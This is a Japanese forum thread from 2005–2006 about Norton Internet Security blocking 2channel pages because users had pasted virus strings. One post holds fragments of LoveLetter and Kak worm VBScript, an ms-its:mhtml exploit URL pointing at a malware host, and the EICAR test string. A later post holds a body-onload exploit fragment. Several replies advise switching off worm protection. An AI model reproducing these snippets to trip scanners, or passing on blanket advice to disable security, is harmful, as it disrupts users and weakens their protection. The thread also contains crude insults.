2005/12/04(日) 04:28:24ID:X+Ww/b+O0
>>510
氏ね

>>512
お前も氏ね

>>517
お前は氏ねじゃなくて死ね!
522動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/04(日) 04:37:08ID:h85ucp1x0
かきこむ
523動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/04(日) 12:26:49ID:50GK9X4n0
英語ばかりで読めないな。
2005/12/04(日) 12:37:37ID:EpZg83SWO
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
ms-its:mhtml:file://c:\ 
kak.hta';ken=wd+'START
End Sub
2005/12/04(日) 12:57:25ID:S0JmhzX20
>>512とか>>517とかの文字列が反応するのって、
どういう誤認で誤作動するわけ?具体的に頼む
NGNG
>525
>>22の記事を読めばなんとなくわかるかと。
2005/12/04(日) 20:13:57ID:S0JmhzX20
>>526
d
2005/12/05(月) 01:34:57ID:FdnPK1jR0
>>517の本文は専ブラのログフォルダを除外対象にしとけば無問題
2005/12/05(月) 17:48:16ID:5iffv5U70
ホントに無問題なのか!?
確かに反応はしなくなるが、それを逆手に利用しLogフォルダを狙ってくるかもと妄想してみる
まだじゃまくさいが*.dat毎に設定した方が…
2005/12/05(月) 18:11:55ID:b5q7G/4D0
そう思うなら、そうすればいいじゃない。
2005/12/05(月) 18:29:11ID:uXQGgEEr0
無問題という発言には問題があるよな
2005/12/06(火) 15:43:56ID:LkdisUM70
>>697
ノートン誤作動対策本部
http://qb5.2ch.net/test/read.cgi/operate/1133161720/
ここをミロ
2005/12/06(火) 15:45:13ID:yXevFHab0
>>697ちゃんとミロよ
2005/12/06(火) 15:45:56ID:FdwqPeUF0
>>697
ちゃんと見なきゃだよ〜〜
2005/12/06(火) 15:49:22ID:S/1II8Rk0
>>697
わかったか?
よし、わかったんなら席に着け。
2005/12/06(火) 16:59:02ID:ba9NK7rA0
>>697
笑ったり泣いたり出来なくしてやる!
2005/12/07(水) 15:54:11ID:h/m9952k0
>>697
( ´д)ヒソ(´д`)ヒソ(д` )
2005/12/07(水) 16:40:37ID:aPTNAClw0
>>697
まるでそびえたつクソだ!
2005/12/07(水) 20:54:02ID:zqDlR1140
>>697ちゃんったらー、ちゃんと見てないからそうなるんだよ。
まったくもー。
2005/12/07(水) 22:38:17ID:p1e7f/VT0
ノートンの
侵入阻止→拡張→HTTP MSIE javaScript OnLoad Rte CodeExec
のチェックはずして、
オミトロンの
Onload Unloader
をオンにスルだけで解決するんだが。

何をそんなに騒ぐ。
2005/12/07(水) 23:44:58ID:KWMarFNX0
はいはい
2005/12/08(木) 01:43:07ID:J0d2TFmr0
専ブラはdatしか読みに行かないから、ノートンのチェック外しても
何ら問題は無い。

問題はIEの味噌も糞も一緒くたにとっとくテンポラリフォルダだ。
これもブラウザ閉じた時にキャッシュを削除する設定にしておけば
多少は安心だろう。
2005/12/08(木) 20:46:26ID:vweIWjoM0
ノートンのインジケータを隠してたから長いこと原因に気付かなかった
やれやれ・・・
544動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/10(土) 21:42:55ID:L+GgO2q30
いきなりフジ実況見れなくなった。。。
まとめサイトの対策してるのに
2005/12/11(日) 09:53:51ID:UxoL4GzC0
うpdateしたら反応しなくなったぞ
2005/12/11(日) 10:27:46ID:NT8ogfEm0
>>697まで先は長いなw
2005/12/11(日) 19:58:01ID:u72QiQwD0
>>697がとって置きのレスをするでしょうw
2005/12/12(月) 07:35:05ID:Oxp01vs20
>>545
なわけねーだろボケ
549動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/12(月) 23:00:52ID:6AEQSNlY0
<body onload=あwindow()> ms-its:あmhtml:file://c:\

誤作動うぜぇー
550動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/13(火) 00:03:08ID:EccYzO0u0
2005/12/13(火) 00:14:46ID:mrrPdy+U0
最近書き込みが減ったところを見ると、双方対策されたって事?
2005/12/13(火) 00:15:43ID:VF/WnYDZ0
>>551
片方が対策しただけのような気がする。
2005/12/13(火) 00:16:24ID:jbIWO4hy0
暫定処置で凌いでる、ここを見られないのどちらかかと
2005/12/13(火) 00:37:32ID:mrrPdy+U0
なるほど。
それなりに情報も行き渡ったって事ね、了解。
2005/12/13(火) 01:15:55ID:ct+jZ+de0
ノートンの信頼ゾーンから例のアドレス群を削除してもまったく問題なし。
どうやらこの前のupdateで、Symantecが対応したようだ。
まあ、定義ファイルちょこっといじるだけだしね。
2005/12/13(火) 01:24:49ID:+TojAte/0
まじで?ついに対応したのかノートン先生!
2005/12/13(火) 01:27:38ID:P59zanKB0
俺駄目だったけど o.......rz
2005/12/13(火) 01:49:57ID:4oy/C4vr0
全然だめだった2005
2005/12/13(火) 07:12:17ID:yYTaEYqU0
2006でアップデートしてみた
何故か専用ブラウザ(JaneDoeView)だと問題なくなったけど
IEで見ると以前と同じように侵入防止される
2005/12/13(火) 10:52:51ID:LUKc0KsC0
>>555
なわけねーだろボケ
2005/12/13(火) 13:26:01ID:Mc0lYOUq0
2chブラウザを使ってると、ログの再取得をしないから、反応しないだけ。
ログを一旦消して、誤爆文字列を再読み込みさせると遮断されるよw
2005/12/13(火) 16:33:49ID:Fiu/blpC0
ん?
2005+かちゅだけど、ログ消して再取得してもまったく問題ないよ。
確かこのスレにもコード張ってあったよね。
該当スレ削除されてるのかな?
数日前から信頼ゾーン元に戻してあちこち見てるけど、一度も遮断は起きてない。
2005/12/13(火) 16:46:09ID:e28xE5tY0
信頼解除してこのスレ再取得で問題なし
ログ削除してJane再起動してこのスレ取得してみたけど問題なし
2005/12/13(火) 16:47:53ID:e28xE5tY0
今IEも試したけど大丈夫みたい
2005/12/13(火) 17:19:46ID:LUKc0KsC0
なわけねーだろボケ
2005/12/13(火) 17:50:38ID:EccYzO0u0
どこまでが釣りなのか見極めがむずい
2005/12/13(火) 18:56:54ID:i8UVIJLB0
普通にノートン対応してない
NGNG
↑普通にニートンって見えた
2005/12/13(火) 20:41:24ID:yYTaEYqU0
>>561
ちゃんと消してからやってるけど?
とりあえず自分で検証してから煽りいれないとただの恥ずかしい人だぞ
2005/12/13(火) 21:21:25ID:qGOg/NGt0
今日2006インスコ→LiveUpdateした後
JaneDoeStyleでこのスレ開いてみたけど大丈夫でした。
(もちろん、ログ再所得済)
ただし>>559同様、IEはダメ。
一度IEで開くと、その後はJaneでもダメ。

2005/12/13(火) 21:31:58ID:VBj/AhMS0
ノートン先生はいったいどんな対策を施したんだろう、、、
2005/12/13(火) 21:39:18ID:mvJZvZGa0
2ch側で何か対策した?
専用ブラウザでの閲覧は現在問題無しみたいだ。
もちろんログ消去をやった上で。
少なくても日曜日の段階では、自分も専用ブラウザの閲覧でトラップに引っ掛かっていた。


317 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2005/12/11(日) 14:25:00
2005は直ってないの?直ってたら乗り換えようと思ってるんだけど

318 名前:名無しさん@お腹いっぱい。 [] 投稿日:2005/12/11(日) 14:50:13
2006が直った言うのはマジですか?

319 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2005/12/11(日) 14:58:53
2006直ってないよ。
シグネチャ更新しても、問題のヤツはそのまま残ってて、いきなり遮断されたしw
プログラム本体の更新が無い限り直らんでしょ?これ。
ホントに直った人いるの?

320 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2005/12/11(日) 15:00:33
また工作員の虚言か!

321 名前:297 [sage] 投稿日:2005/12/11(日) 15:00:54
ありがとう。
やってみるよ。

322 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2005/12/11(日) 15:27:18
あれ・・・DL板で更新したら問題なく更新されたんで直ったと思ったが何回かやってると遮断してるな・・@2004
なんじゃこりゃ


で、IEによる閲覧では現在も遮断される事から、最新のアップデートでもノートントラップが対応出来ていないのは明らか。
どーなってんの???
2005/12/14(水) 12:27:12ID:WvVfrDFo0
ノートンLiveUpDateしますた。
シマ対応した模様。
この問題については、解決したのでは。
2005/12/14(水) 12:54:03ID:4UluMZjh0
>>573
全然対応してないから。
2005/12/14(水) 13:00:51ID:WvVfrDFo0
↑具体的に
2005/12/14(水) 13:30:12ID:gN/cypwS0
2003+かちゅでは駄目だった
577570
垢版 |
2005/12/14(水) 13:38:58ID:065kioyb0
>>573
Updateしてみましたが、やはりIEでは遮断されました。
578動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/14(水) 15:21:30ID:B2e/IoHz0
工作員ウザ杉

本気で売買契約解消しようと思うんだが、
誰かシマンテックと交渉した奴いる?

これはOSのせいじゃなく「ノートンのFWだけ」の誤作動だから
返品できるよな? 交渉は小売とした方が良いのか?
2005/12/14(水) 15:21:38ID:lH3ozVBK0
2006で、ここのログを取得してみた。(専ブラはログを破棄して再取得)
専ブラ(Live2ch、かちゅ)では遮断されなかった。
普通のブラウザ(IE、Opera)だと遮断された。
うーん、不思議。
2005/12/14(水) 15:41:34ID:J+E7KJcf0
>>578
がんばれ馬鹿。
負けるな馬鹿。
2005/12/14(水) 15:57:29ID:B2e/IoHz0
>>580
プ 工作員必死だなw

都合が悪いレスを煽って誤魔化すってことは
やっぱり返品出来るんだなw

そりゃそうだ他社のFWじゃ誤作動しなくて
ノートンだけ誤作動じゃ言い訳できないもんな。

工作員の必死さから良く分かった。
返品の話が都合悪いの?w んー?w 悪いの?w
2005/12/14(水) 16:01:29ID:lfvSkMHa0
誤作動ではなく危険なコードは完全に弾く仕様になっております。
もし、信用できるサイトの観覧に不都合が生じた場合は
そのサイトを信頼ゾーンに追加して下さい。

と。
2005/12/14(水) 16:09:17ID:B2e/IoHz0
>>580
>サイトの観覧に不都合が生じた場合は
>そのサイトを信頼ゾーンに追加して下さい。

いやだ。

信用できるかどうか分からんからFW入れてんだよ。

それに今回は

「サイトの観覧に不都合が生じた場合は〜」 じゃねーだろ?
「FWのコード識別に不具合が生じてる」

「不都合」でなく「誤作動」
2005/12/14(水) 16:27:23ID:lfvSkMHa0
>>583
お客様、何度も申し上げますが誤作動ではなく仕様です。
なにとぞ御理解下さい。

分かりやすく説明するとこうなる↓

ハァ?どーでもいい一般ユーザーは黙ってろっての!
グチグチうるせーな。
スキル無いボケが生意気いってんじゃねーよ!!

返金?返品?シラネーヨ!

嫌なら裁判でも起こせばいいだろー
知識の無い裁判官言いくるめる弁護士雇う金がこっちにはあるんだボケ!!
ネットで吠えてねーでやってみろ根性なしが(ププp
2005/12/14(水) 16:46:20ID:a5x2HY3T0
ついさっきWindows Updateの通知があったんだけど
これってノートン先生誤作動の元になったセキュリティホールとは無関係ですか?

http://www.microsoft.com/japan/security/bulletins/ms05-054e.mspx
2005/12/14(水) 16:56:53ID:JiKINitk0
>>585
対応したみたいだね
それでもupdateしない馬鹿がいるかもしれないから誤作動を続けるであろうノートン先生に敬意を示さねば

http://pcweb.mycom.co.jp/news/2005/12/14/007.html
2005/12/14(水) 17:01:46ID:JiKINitk0
>>586
一応コピペ

>「不適切な Document Object Model オブジェクトのメモリ破損の脆弱性」は、
>JavaScriptでwindow()イベントが使われた場合に任意のコードが実行されるというもの。
>ネット上では5月にすでに情報が公開され、この脆弱性を悪用するトロイの木馬も登場しており、
>ユーザーは至急パッチを適用すべきだ。
2005/12/14(水) 17:45:49ID:GDsyONUI0
Windows UpdateもノートンのUpdateもしたけど駄目だったよ・・・ orz
2005/12/14(水) 18:07:11ID:UojIzTZi0
>>588
同じく駄目でしたヽ(゚∀゚)ノ
590動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/14(水) 18:31:24ID:zKLyALpC0
俺漏れも
2005/12/14(水) 18:45:29ID:a5x2HY3T0
いや先生もう対策しちゃってるしね
この悪戯もいずれ下火になると思うので、もう設定で対処しないで
引っ掛かったら一時的に切って遮断解除、が一番安全だとは思うけどね

ただ、例えて言えば、ノートン先生って
子供が男子高校生なのに、痴漢がどうのとかいって塾の送り迎えしたり
二十歳超えたのに、夜は危ないから8時以降は外出するのは控えなさい、
とかいうオカンなんだよなw
五月蠅い事この上ない

>>586,587
thx
2005/12/14(水) 19:04:45ID:u8wmbv9f0
MSのパッチを当てて、ノートンの侵入検出シグネチャを切れば良いって事だな。
2005/12/14(水) 20:30:16ID:4UluMZjh0
>>592
>MSのパッチを当てて、ノートンの侵入検出シグネチャを切れば良いって事だな。

馬鹿じゃないですか?
2005/12/14(水) 21:57:44ID:JiKINitk0
>>593
違うの?
NGNG
ウザ警告だけ消せれば他からどんな攻撃を受けてもかまわない、
というのなら592の方法で正しいけど。
2005/12/14(水) 23:03:25ID:a5x2HY3T0
むしろNIS全部切ればかなり快適かと
2005/12/14(水) 23:05:28ID:JiKINitk0
シグネチャ選んで消せるなら、今回の消せば解決では?
脆弱性はパッチで解決されてる訳だし
2005/12/14(水) 23:08:17ID:QMn/vcON0
それが解決?
ノートンが誤反応する事が問題だろ。
なんでこんなに馬鹿が多いの?
2005/12/14(水) 23:37:45ID:b/+ME8N50
ギャーギャー騒いでる香具師って2ch廃人?
2005/12/15(木) 00:15:42ID:utkefdDb0
>>598
ここ2ch運用情報板のスレだし、、、
利用者が対策して2ちゃん使えれば解決でしょ?
2005/12/15(木) 06:00:20ID:Gx5GPIwR0
>>598
バカはおまい一人だと思われ。
脳豚の誤反応を語るならソフトあたりにスレ建てろ。
2005/12/15(木) 07:07:26ID:/Hth94uT0
んで先日のMSのアップデートしたらシグネチャ除外でHTTP MSIE JavaSvript〜
っての切っても問題ないの?
これってMSのバグの脆弱性を埋めるためだけのやつだよね?
2005/12/15(木) 07:08:37ID:/Hth94uT0
Svriptになってるけど気にしないでorz
2005/12/15(木) 10:48:51ID:0IKFE+YG0
Windows UpdateとノートンのUpdate済ませて
それ以前にブロックされてたスレが普通に読み込めたので
シマが対応したと思ったのだが、やはりスレによっては、
ブロックされるようです。
まんどくさいなー、悪戯やめれ!
2005/12/15(木) 19:35:35ID:WsBkUH820
>>601
ノートンが対応したって言う馬鹿がこのスレにいるから
そういう奴もでてくるんだよ。
2005/12/18(日) 18:04:47ID:/Gl1/UV+0
MSがセキュリティホール埋めたけどシマンテックはこのHTTP MSIE JavaScript〜
に関する文字列の検知を変更しないわけね?じゃあシグネチャ除外が一番かなあ…
個人的にはどうせIEほとんど使わんし、どこぞの反日クラッカーに2ちゃん鯖クラックされる
リスクの方が怖いや。
2005/12/18(日) 19:25:41ID:JVV9/DvK0
ログ削除して専ブラ使えば良い、なんて書きこみがあるけど、>>570,>>579など。
これってシマンテックの社員なの?

専ブラ使っても相変わらず駄目だよ。
悪質な嘘をつかないでくれるかな。
マジでムカついちゃったよ。
2005/12/18(日) 19:36:09ID:RN6yyh6F0
ノートン2006 + JaneDoe View α ( build date: 051128 )
でログ取得し直しても問題なく使えてるけど?
馬鹿みたいな事書き込んでないで先ず自分の環境くらい書こうよ
2005/12/18(日) 19:38:23ID:nKWk8rm50
>>607
なんで社員がそんなこというんだよw
あんた馬鹿だろ。
2005/12/18(日) 21:05:53ID:aV+RNAht0
ログ取得し直しても問題なしって人は設定が間違っているか
無意識に警告が出ない設定にしてあるって事に早く気がついたほうがいいよ。
解らなくて警告が出ないより、解ってて解除する方がいいからね。
2005/12/18(日) 23:56:35ID:QUwDeAJW0
NIS2006 + twintail v2.0 beta36 + Windows 2000 SP4 + MSの対策パッチ

NIS2006の「HTTP MSIE JavaScript Onload〜」の侵入防止シグネチャ有効。
そのシグネチャのプロパティーで、検出時に警告を出すように設定している。
Twintailのキャッシュをフォルダ毎削除して、このスレを読み込んでも反応無し。
そのあと、IEでこのスレを開くと遮断される。
遮断されたIPを解除し、Twintailのログを削除して、再読み込みしても反応無し。
そのあと、IEでこのスレを開くと再び遮断される。

このような症状になってる人が他にも居ると思うが、マジで原因が判らんよ…
2005/12/19(月) 07:31:36ID:9dyvKkJ30
>>610
2ch専ブラで問題なしIEで問題ありって人が実際多数いるんだし
俺もJaneDoeView最新版で問題なし
お前みたいな訳分からない否定をするやつは何故自分の環境を書いたり試したりしないんだ?
2005/12/19(月) 07:33:42ID:UggSL9si0
その多数のうちの大多数が大いなる勘違いだということはもう言わずもがな
2005/12/19(月) 07:40:57ID:9dyvKkJ30
>>613
OnloadのやつはIE特有のバグらしいからIEコンポーネント系以外は反応しないように
対策したかも知れないとか考えられないの?
とりあえず変な事ぼやいてないで何か否定材料出してよ、検証しようがないから
2005/12/19(月) 08:00:45ID:9dyvKkJ30
自己レス
FireFoxってのを入れて試してみたけどこっちでも反応したな
単純にIE、非IEで分けている訳では無いみたいだ
2005/12/19(月) 10:35:46ID:TERjzhIV0
>>614
Operaで反応し、IEコンポーネントの2chブラウザで反応しないんだが。
もちろん警告は出るようにしてあるよ。
2005/12/19(月) 10:42:56ID:GcAN0Ejt0
>>697で解決すると思うよ
2005/12/19(月) 10:44:53ID:UggSL9si0
今頃>>697は何をしてるんだろう
2005/12/19(月) 13:15:13ID:FcoWUZ/m0
USER_AGENTをIE以外に偽装してIEでアクセスしたりとか試してみたが、関係無いみたいだ。
もしかしたら、どこかで陰険なチェックが入ってないかと疑ってみたんだがw
2005/12/20(火) 18:40:04ID:bOuIhoAD0
ノートンテスト。。。
2005/12/20(火) 23:59:21ID:M1SYBKmT0
>>13してlive updateしたらとりあえず治った。
2005/12/21(水) 00:06:07ID:0MMIBmXs0
liveupdate関係ないだろw
623動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/21(水) 00:08:12ID:B+zRECi40
釣りばっかでツマンネage
2005/12/21(水) 14:58:38ID:vR0rSrZN0
>>621
ほんとだ!>>13してlive updateしたら直った!
直った奴はこれやってたんですね。
2005/12/21(水) 15:03:07ID:DFkfyeZ00
なにこのループ
2005/12/21(水) 15:31:05ID:PTsnbklA0
ループに追加。
>>303も見たほうがいいよ。
2005/12/22(木) 18:35:25ID:Bq8BcPJ00
スマンテクの対策は終わったみたいだが、対策前にこれが保存できなかったが、バスターで一度読んだ後
対策前のノートンで読んだら問題なかった。不思議?
2005/12/22(木) 18:36:34ID:jssnw8+o0
引き続きループをお楽しみください。
2005/12/23(金) 08:57:22ID:5ghRJ4Gm0
専用ブラウザの基本的なしくみを理解できない馬鹿がこんなにもいるのか
2005/12/23(金) 12:08:32ID:WxHyXRMc0
マカーの漏れが話をややこしくするために来ましたよ
2005/12/23(金) 12:45:44ID:o33RZIF/0
バスターは初心者向きでしょ
632動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/23(金) 13:51:50ID:GpdCCnv00
XPとMeを持っているんですけど一つで二つのパソコンに2006をインストール出来るんですかね?
2005/12/23(金) 18:55:44ID:dZzGOKOq0
( ^ω^)朝飯前だお
2005/12/23(金) 20:06:24ID:xVqrSobn0
はいはいマルチマルチ
2005/12/24(土) 08:09:28ID:oeUM0R980
>>629
仕組みを詳しく教えてください><
636大空寺あゆ親衛隊 HELVA™ ◆THYOQYTAXA
垢版 |
2005/12/24(土) 12:16:36ID:mMuLRaUt0
ごきげんよう
2005/12/24(土) 15:55:37ID:S+gfm0ax0
>>636
実はお前もノートンユーザー
638動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/24(土) 16:48:18ID:YRnZj93J0
2006買って、ユーザー登録した?
2005/12/25(日) 00:47:47ID:gfIsmw9L0
なんかこのスレを見るだけでもウイルス探知が反応するんだが。
2005/12/25(日) 00:53:35ID:0RQdmbdF0
そりゃ、ウイルスコードが貼ってありますから
2005/12/26(月) 10:40:30ID:u6D1PHyNO
ウィルスバスターに買い替えてきますた
2005/12/26(月) 11:25:47ID:QzvlMAhr0
テスト
2005/12/31(土) 22:07:08ID:JOIziDs80
>>636
こういう愉快犯が一番腹が立つのだが。

こいつもどうせVIPの空気コテだろ。
まったくVIPってのは糞しかいねえな。
2005/12/31(土) 22:12:17ID:oN1GEwhi0
まあ怒り収めにしとけお( ^ω^)
2006/01/08(日) 04:36:52ID:tvVNim+i0
>>643
なんだ、奴はVIPPERだったのか。時々実況邪魔しにくるのがウザいと思ってたが。
何れにせよヒッキーネカマにゃ死んでもらいたいな。
2006/01/10(火) 05:26:42ID:eLWW4Nqu0
ここみたらノーdが反応した件について。
2006/01/10(火) 21:09:16ID:aKQmxsJ70
これだから初心者は・・・
2006/01/10(火) 21:16:26ID:NT0kkZc40
上級者キタ━━━━━━(゚∀゚)━━━━━━ !!
649動け動けウゴウゴ2ちゃんねる
垢版 |
2006/01/11(水) 13:27:16ID:ZIduVsA/0
あのー、>>13やっても誤作動するんですが・・・
2006/01/11(水) 14:31:09ID:rF6m2+kr0
さらに変なことになってすべてのサイトにアクセスできなくなったからファイヤーウォール設定低レベルにした・・・
もうむちゃむちゃだ・・・
2006/01/11(水) 14:34:22ID:oYgOQ4G60
お前の設定がおかしいだけちゃうんかと・・・
2006/01/11(水) 14:37:48ID:XepBLzJT0
>>649,650
2chNIS問題まとめページ
http://mickey.mirv.net/2chnis.html
2006/01/11(水) 19:55:11ID:Yfb4C6aq0
これだから初心者は・・・
2006/01/12(木) 21:20:57ID:fcGH49jR0
body onload
655動け動けウゴウゴ2ちゃんねる
垢版 |
2006/02/12(日) 04:27:29ID:Mo3IeAmZ0
また見れなくなってきたんだが
追加IP誰かおせーて
2006/02/12(日) 04:47:21ID:QWOeXYnn0
新設板・板移動情報・5.5@運用情報
http://qb5.2ch.net/test/read.cgi/operate/1132068329/

http://users72.psychedance.com/
2006/02/12(日) 04:48:16ID:O9Ac1mU90
>>655
拾ってきたけど必要なのは一番下だけかな。
そのうち詳しい人が出てくると思う。

(新規追加)
+live22y.2ch.net:206.223.150.64
+live22y.2ch.net:206.223.150.74
+live22y.2ch.net:206.223.150.84

+same.u.la:206.223.157.12
+chirasi.u.la:206.223.157.17
+bbm.u.la:206.223.157.32

+stock.2ch.net:206.223.150.250
658動け動けウゴウゴ2ちゃんねる
垢版 |
2006/02/17(金) 09:34:24ID:Kvo6yfmj0
Bloodhound.Exploit.6

これなんですか?2チャンネル見てたらどんどん出てきます。
659七誌
垢版 |
2006/02/17(金) 09:53:09ID:BU1Oq8bJ0
AVG free soft は使って問題起こさないの 誰か教えて
2006/02/19(日) 04:58:00ID:AcPn7YPv0
AVGスレで聴けば?
661動け動けウゴウゴ2ちゃんねる
垢版 |
2006/02/20(月) 00:28:42ID:LP76sHaV0
ごめんなさい ノートンユーザーです
普通に見れていましたが、ウイルス検知が作動して
ラブレターやらいろいろ拾います。いろいろといっても
3回ほどですが、、、orz
2006/02/20(月) 00:36:46ID:RmIHRAg80
>>661
ノートンがvbsウィルスのソースに誤反応3
http://pc7.2ch.net/test/read.cgi/pcqa/1109609938/
663xiaoran
垢版 |
2006/02/21(火) 17:27:48ID:OGGj0h600
テスト
2006/02/21(火) 19:11:33ID:0olRMpED0
Jane Doe Styleをアップデートしたら2ch読み込まなくなった。
>>652を設定しなおしてもダメ。
どうすりゃいいの?教えてエロイ人。
2006/02/21(火) 19:34:56ID:T30fwk3w0
で、ノートンに通信の許可を再び出したのか?
2006/02/23(木) 03:12:42ID:HxgzK7M/0
ノーd
667マル葉 ◆eo/2f3lxr6
垢版 |
2006/02/26(日) 19:42:40ID:U1+WfdTJ0
当方ギコナビ使いだが、何故かTBSとフジの実況板に入れん!
板全体がこれに感染してると出る。
http://www.symantec.com/region/jp/avcenter/venc/data/jp-wscript.kakworm.html
ほかの実況板には入れるのに・・・・
ヽ(`Д´)ノウワァァン
2006/02/28(火) 07:46:55ID:jZd3ba/o0
>>667
ノートンをやめる。
2006/02/28(火) 07:47:12ID:hVeTyEMK0
>>667
http://pc7.2ch.net/test/read.cgi/software/1139237463/9
Q3

そのくらい自分で探せるようになってからコテつけろ
670動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/05(日) 15:55:12ID:2eBGyQVL0
http://life7.2ch.net/test/read.cgi/intro/1140623959/688

誰かがこれを貼ったらノートンが反応するようになった
ただ、警告が出るだけなのでそれほど深刻な被害にはなってないのだが、
(いろんなスレで見かけるし)問題は、こういう知識をどこで得るのかこいつらは。
そして、どういうつもりで、なにが楽しくてこんなことやってるのか。
こういうことして喜んでるキモい奴が日本のどこかで普通に生活してるというだけで気持ち悪くて吐きそうなんで
みつけだして死刑にしてもらえませんか?
2006/03/05(日) 17:03:09ID:+na53q4+0
>>670
通報しますか?
2006/03/05(日) 17:18:09ID:wws82H8j0
99.999%の確率で2chで得た知識です
673動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/05(日) 17:42:34ID:zrWtNUWY0
HTTP MSIE JavaScript OnLoad Rte CodeExec
っていうのもノートンの誤検出?
2006/03/05(日) 17:46:34ID:wws82H8j0
スレを読めない奴に答えても無駄だと思うので寝ます
2006/03/05(日) 17:49:03ID:f/e310UY0
つかスレを最初から読んで情報を得るという発想がなくて
聞きたいことだけその場で聞くなんて奴は掲示板使うな
676動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/05(日) 19:06:24ID:7N1M/Z6g0
>>674>>675
見ようとしたらノートンが作動して見れなくなるんですが・・・
2006/03/05(日) 19:14:04ID:wws82H8j0
切ればいいと思うんだな
2006/03/05(日) 19:18:46ID:1Tu1qzgQ0
確認の時くらいはノートン切る勇気もてよ
2chログから本物のウイルスなんて出てくるわけないし
それができないなら2ch利用を諦めるんだな
679動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/05(日) 19:28:10ID:7N1M/Z6g0
>>678
ファイアウォールを切れって事?
2006/03/05(日) 19:34:34ID:D4wqX/0G0
>>679
マジレスすると専ブラをFWの監視対象からはずす
2006/03/06(月) 16:35:06ID:jjtQytSv0
test
2006/03/11(土) 10:33:50ID:vyFWUY+r0
ノートン

ノートン

ノーテン

ノートン
683動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/15(水) 18:22:32ID:24ArEtL20
206.223.150.96ってどこの板?
2006/03/15(水) 18:32:56ID:EKtlIUZJ0
>>683
ttp://sv2ch.baila6.jp/sv2ch01.html
685動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/17(金) 23:23:18ID:3VZwdPLg0
>>680
どうやって?
2006/03/18(土) 12:17:05ID:Yat3ZqsT0
>>685
こうやって。

2chNIS問題まとめページ
http://mickey.mirv.net/2chnis.html
687動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/18(土) 16:20:55ID:nf0sC/Rq0
ノートンアンチウィルス2006のFW無し版でワーム検出で
HTTP MSIE JavaScript OnLoad Rte CodeExec に
引っかかるのはどーしtらいいんだべ?
2006/03/18(土) 16:24:16ID:ZQ8bWbuE0
ログをスキャン対象からはずしても駄目なの?
689動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/18(土) 16:36:28ID:nf0sC/Rq0
だめIPじたいで弾かれる、ちなみにセキュリティ板。
信頼ゾーンの設定ないから、HTTP MSIE JavaScript OnLoad Rte CodeExec
じたいを除外してる。
2006/03/18(土) 18:44:16ID:Vw+AdDPX0
だ か ら、ノートンをまd(ry
691動け動けウゴウゴ2ちゃんねる
垢版 |
NGNG
>>657が最新?live22xでまだ誤作動するんだけど
2006/03/20(月) 01:43:34ID:QFa0Ka/p0
俺もNAVで、今ワームブロックされてここに来た。
ログ除外も専ブラ除外もダメやね…
2006/03/20(月) 01:47:38ID:kAVY4Ph00
http://www.trasher.ru/foto/trasher/trasher.jpg
http://mnc.rokcorp.net/ib/ghost/src/1139635922362.jpg
2006/03/20(月) 04:44:22ID:fGNJKtPG0
>>692
俺も同じく・・・
NAVは関係ないのかと思ってた
695動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/20(月) 20:12:08ID:D12Sn3WM0
同じコード貼られてんのに反応する時としない時がある・・・
ノートンさんは気まぐれなのか?
2006/03/21(火) 02:27:21ID:V5P/TNGd0
いっそのことインターネットワーム防止機能自体無効にしちゃっても良いんじゃいない?
697http:// p5028-ipad04takakise.saga.ocn.ne.jprlo.LBBS.net/
垢版 |
2006/03/21(火) 12:21:10ID:K+B9O+Ji0
loliloli
2006/03/22(水) 02:52:27ID:w4BbNhMT0
どうやら最近のAutoUpdateで、NISだけでなくNAVもHTTP MSIE JavaScript OnLoad
Rte CodeExecにひっかかるようになったらしい。
NAVではIP除外の設定ができないので、ハマっている人が多いっぽい。
OpenJaneでは特定のキーワードをあぼ〜んすることで回避できるが、
ギコナビだと出来ないらしい。
間違ってるかもしれないが、参考までに。
2006/03/22(水) 07:22:41ID:hrzFkAdI0
私は

一時的にノーd先生の「インターネットワーム防止」を寝かせる

ログを取得

ノーd先生を起こす

ゆっくりとログを読む

で対応してるけど・・・
この方法を編み出すまでに3時間ぐらいハマッた。
2006/03/22(水) 08:46:20ID:wpuXyhSJ0
>>699
まあふつうの板ならそれで十分だね。
実況系に貼られるとアレだけど。
2006/03/22(水) 13:50:33ID:Jh7u58QW0
>>698にあるようにあぼーん設定するだけで、NAVいじらずに対処できた。
NAVで困ってる人にマジオススメ。
2006/03/22(水) 17:43:28ID:w4BbNhMT0
一応書いておいた方がいいかな。OpenJaneにて以下の手順で回避確認。
間違ってたらツッコミよろ。

